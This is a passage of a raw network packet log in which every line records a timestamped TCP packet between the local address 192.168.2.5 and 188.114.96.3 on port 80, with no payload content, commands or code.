Nov 1, 2024 15:15:00.375559092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375569105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375572920 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375572920 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375581026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375592947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375611067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375636101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375819921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375830889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375842094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375853062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375864983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375868082 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375874996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375878096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375910997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375935078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375936031 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375948906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375958920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375972033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375982046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375993013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375993013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375993967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376005888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376018047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376025915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376029015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376039982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376049995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376049995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376053095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376065016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376096964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376096964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376656055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376667976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376678944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376689911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376702070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376712084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376724958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376728058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376728058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376737118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376748085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376759052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376771927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376780033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376780033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376782894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376794100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376795053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376805067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376816988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.376832008 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376832008 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.376861095 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377284050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377295017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377305984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377324104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377336025 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377336979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377346992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377357006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377367973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377372980 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377372980 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377378941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377391100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377402067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377413034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377423048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377424002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377424002 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377435923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377440929 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377446890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377458096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377470016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377474070 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377480984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377484083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377492905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377504110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377515078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.377517939 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377537012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.377557039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378226042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378237009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378247023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378258944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378271103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378283024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378288031 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378288031 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378293037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378310919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378315926 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378323078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378334999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378344059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378355026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378366947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378379107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378388882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378388882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378388882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378388882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378401041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378412008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378421068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378422976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378434896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378453016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378453016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378488064 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378833055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378844023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378937960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378937960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.378976107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378987074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.378998041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379009962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379019976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379030943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379040956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379051924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379056931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379056931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379056931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379056931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379070997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379076958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379084110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379089117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379091024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379095078 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379095078 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379096985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379107952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379120111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379123926 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379129887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379142046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379154921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379165888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379165888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379168034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379179001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379204988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379224062 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.379956961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379968882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379986048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.379997015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380006075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380006075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380007029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380018950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380028963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380036116 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380040884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380052090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380064964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380067110 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380067110 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380075932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380086899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380096912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380109072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380120039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380126953 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380127907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380130053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380142927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380152941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380152941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380156040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380167961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380178928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380192041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380197048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380197048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380203009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.380237103 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.380237103 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.383752108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.469875097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.469890118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.469899893 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.469912052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.469924927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.469990969 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.470052004 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.470238924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470309973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470324039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470335007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470347881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470356941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.470359087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470371962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470380068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.470385075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470396996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470407963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.470408916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.470449924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.470449924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.471791983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471803904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471815109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471827984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471839905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471851110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471858025 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.471863031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471873999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471885920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471890926 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.471898079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471909046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471910954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.471915007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471925974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471936941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471937895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.471947908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471959114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.471981049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.471981049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.471996069 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.544193983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544208050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544219017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544229984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544248104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544261932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544380903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544388056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.544398069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544439077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.544446945 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.544508934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544519901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544531107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544542074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544554949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544569016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.544605017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.544754982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544764042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544773102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544785023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544796944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544801950 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.544809103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.544826984 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.544872999 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545034885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545120001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545130968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545136929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545149088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545160055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545171022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545192957 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545232058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545232058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545267105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545316935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545358896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545370102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545380116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545391083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545408010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545412064 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545412064 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545418978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545430899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545479059 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545479059 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545479059 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545675039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545691013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545706987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545717955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545728922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545746088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545793056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545793056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.545974016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.545984983 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546031952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546139956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546152115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546164989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546170950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546180010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546190977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546201944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546212912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546224117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546224117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546224117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546240091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546251059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546256065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546262980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546291113 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546291113 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546539068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546550035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546562910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546632051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546632051 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546670914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546683073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546694994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546706915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546719074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546730995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546741962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546741962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546741962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546770096 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546793938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546819925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546832085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546840906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546852112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546859026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.546863079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.546875000 CET	80	49874	188.114.96.3	192.168.2.5
